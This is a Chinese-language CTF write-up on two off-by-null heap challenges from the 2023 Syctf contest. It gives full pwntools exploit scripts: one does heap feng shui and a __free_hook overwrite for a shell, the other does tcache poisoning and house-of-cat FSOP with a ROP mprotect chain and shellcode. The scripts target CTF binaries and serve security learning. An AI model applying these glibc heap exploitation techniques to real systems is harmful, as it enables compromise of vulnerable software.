2023-Syctf-两道off-by-null

本文最后更新于:2023年6月17日 凌晨

2023-Syctf-两道off-by-null

这次比赛跟着团队打的,师傅们很厉害,pwn直接AK了。我这个废物只能复现复现题目了。

这里笔者选取两道高版本的off by null题目复现。

一道题采用的是高版本无泄漏地址的堆风水绕过unlink,另一道采取泄露地址,伪造fake_chunk的方式绕过unlink。

PWNPWN

查看保护

image-20230709164811680

保护全开。

首先,映入眼帘的是一个简单的随机数判断,通过便是常规的堆操作了。

image-20230709170659257

取输入的数字的千位、百位、十位与个位,与rand()随机数匹配,匹配上了即可越过判断。

1
2
3
4
5
6
7
a = fun.rand() % 10
b = fun.rand() % 10
c = fun.rand() % 10
d = fun.rand() % 10

num = a * 1000 + b * 100 + c * 10 + d
p.sendlineafter('please input your number:', str(num))

之后就是常规的菜单堆操作了。但是使用一些永假的判断混淆,没啥意义。还有一个登录关键字段的赋值,影响show与delete、edit等功能。

image-20230709170716152

对输入passwd的长度以及最后一个字节的ascii值进行判断。

1
2
3
4
5
6
7
8
9
10
def login():
menu(5)
p.sendafter('your username', 'l1s00t')
p.sendafter('your passwd', '\x03\x03\x03\x00')


def nologin():
menu(5)
p.sendafter('your username', 'l1s00t')
p.sendafter('your passwd', 'aaaaaaaa')

add函数存在off-by-null漏洞。

image-20230709170733695

要过libc2.31的unlink检测,需要经过比较复杂的堆风水操作。这里参考WJH师傅的博客。最终构造的fake chunk堆分布。

image-20230709170759170

最终wp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
from pwn import *
from pwn import p64, u64
from ctypes import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './pwnpwn'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

fun = cdll.LoadLibrary('./libc-2.31.so')
fun.srand(fun.time(0))

debug = 1
if debug:
p = process(fn)
else:
p = remote()

command = '''

'''

def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')


def menu(index):
p.sendlineafter('root@$', str(index))


def login():
menu(5)
p.sendafter('your username', 'l1s00t')
p.sendafter('your passwd', '\x03\x03\x03\x00')


def nologin():
menu(5)
p.sendafter('your username', 'l1s00t')
p.sendafter('your passwd', 'aaaaaaaa')


def add(index, size, content=b'a'):
menu(1)
p.sendlineafter('your index:', str(index))
p.sendlineafter('your size:', str(size))
p.sendafter('your content:', content)


def show(index):
nologin()
menu(2)
p.sendlineafter('your index:', str(index))


def edit(index, content):
login()
menu(3)
p.sendlineafter('your index', str(index))
p.sendlineafter('your index', str(index))
p.sendafter('your content:', content)


def delete(index):
login()
menu(4)
p.sendlineafter('your index:', str(index))


def attack():
a = fun.rand() % 10
b = fun.rand() % 10
c = fun.rand() % 10
d = fun.rand() % 10

num = a * 1000 + b * 100 + c * 10 + d
p.sendlineafter('please input your number:', str(num))


def pwn():
attack()

add(8, 0xb460) # 使fake chunk的倒数第二个字节为'\x00',需要爆破,1/16成功率

add(0,0x450)
add(1,0x30)
add(2,0x450)
add(3,0x450)
add(4,0x4f0)
add(5,0x450)
add(6,0x80)

delete(0)
delete(3)
delete(5)

delete(2)

fake_size = 0x461
add(2,0x470, b'a' * 0x450 + p64(0) + p16(fake_size))
add(3,0x430)

add(5,0x450)
add(0,0x450)

delete(0)
delete(3)

add(0, 0x450, 'a' * 8)
add(3, 0x430)

delete(5)
delete(3)
add(7, 0x1000)
add(5, 0x450, '\x00')
add(3, 0x438, b'a' * 0x430 + p64(0x460))

delete(4) # trigger

delete(1)
delete(6)

add(6, 0x10)
add(1, 0x100)
add(4, 0x100)

edit(1, 'a' * 8)
show(1)

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
lg('libc_base', libc_base)

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

delete(4)
delete(1)

edit(3, p64(free_hook - 8))

add(1, 0x100)
add(4, 0x100, b'/bin/sh\x00' + p64(system))

# dbg(command)

delete(4)

p.interactive()


if __name__ == '__main__':
while True:
try:
p = process(fn)
pwn()
break

except:
p.close()
continue

image-20230709170824876

Tips:

实际上,压根不需要这么复杂的堆风水。由于我们可以很容易泄露出libc地址与堆地址,直接就可以通过伪造过掉unlink的检查。

DE_CAT

查看保护

image-20230709170017377

保护全开。

题目就是常规的菜单堆题。

edit函数存在off-by-null漏洞。

image-20230709170840699

show函数几乎没有任何限制的可以泄露出libc地址与堆地址。

image-20230709170854074

这道题是libc-2.35的off-by-null,采用伪造fake_chunk的方式,可以直接过掉unlink检查。

1
2
3
4
5
6
7
8
9
fake_chunk = heap_base + 0x1800
fake_size = 0x4a0

payload = flat(
{
0x80: [0, fake_size, fake_chunk, fake_chunk],
}, filler='\x00'
)
edit(3, payload)

image-20230709170912800

题目开了沙盒,接下来就是house of cat一把梭了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './CAT_DE'
elf = ELF(fn)
libc = ELF('./libc.so.6')

debug = 1
if debug:
p = process(fn)
else:
p = remote()

def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass


lg = lambda x, y: log.success(f'{x}: {hex(y)}')


def menu(index):
p.sendlineafter('>> ', str(index))


def add(size, content='a'):
menu(1)
p.sendlineafter('size:', str(size))
p.sendafter('content:', content)


def delete(index):
menu(2)
p.sendlineafter('idx:', str(index))


def show(index):
menu(3)
p.sendlineafter('idx:', str(index))


def edit(index, content):
menu(4)
p.sendlineafter('idx:', str(index))
p.sendafter('content:', content)


shellcode = asm(shellcraft.cat('flag'))

def house_of_cat(fake_IO_file_addr):
payload = flat(
{
0x20: [
0, 0,
1, 1,
fake_IO_file_addr+0x150, # rdx
setcontext + 61
],
0x58: 0, # chain
0x78: _IO_stdfile_2_lock, # _lock
0x90: fake_IO_file_addr + 0x30, # _IO_wide_data
0xb0: 1, # _mode
0xc8: _IO_wfile_jumps + 0x30, # fake_IO_wide_jumps
0x100: fake_IO_file_addr + 0x40,
0x140: {
0xa0: [fake_IO_file_addr + 0x210, ret]
},
0x200: [
pop_rdi_ret, fake_IO_file_addr >> 12 << 12,
pop_rsi_ret, 0x1000,
pop_rdx_rbx_ret, 7, 0,
pop_rax_ret, 10, # mprotect
syscall_ret,
fake_IO_file_addr+0x300+0x10,
],
0x300: shellcode,
}, filler='\x00'
)

return payload

add(0x420) # 0
add(0x90) # 1

delete(0)
add(0x1000) # 0
add(0x420) # 2
show(2)

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x21a000
lg('libc_base', libc_base)

p.recv(10)

heap_base = u64(p.recv(8)) - 0x290
lg('heap_base', heap_base)

key = (heap_base >> 12) + 1

_IO_list_all = libc_base + 0x21a680
setcontext = libc_base + libc.sym['setcontext']
_IO_stdfile_2_lock = libc_base + 0x21ba80
_IO_wfile_jumps = libc_base + 0x2160c0

pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_rbx_ret = libc_base + 0x0000000000090529
pop_rax_ret = libc_base + 0x0000000000045eb0
syscall_ret = libc_base + 0x0000000000091396
ret = pop_rdi_ret + 1


add(0x420) # 3
add(0xf8) # 4
add(0x4f8) # 5
add(0xf8) # 6

fake_chunk = heap_base + 0x1800
fake_size = 0x4a0

payload = flat(
{
0x80: [0, fake_size, fake_chunk, fake_chunk],
}, filler='\x00'
)
edit(3, payload)

edit(4, flat({0xf0: fake_size}))

delete(5) # trigger

delete(6)
delete(4)

add(0x400) # 4

edit(4, flat({0x390: [0, 0x101, key ^ _IO_list_all]}))

add(0xf0) # 5
add(0xf0, p64(fake_chunk)) # 6

payload = house_of_cat(fake_chunk)
edit(4, payload)

# dbg()

menu(5)

p.interactive()

image-20230709170239457


2023-Syctf-两道off-by-null
http://example.com/2023/06/14/2023-安洵杯-pwn两道off-by-null/
作者
l1s00t
发布于
2023年6月14日
更新于
2023年6月17日
许可协议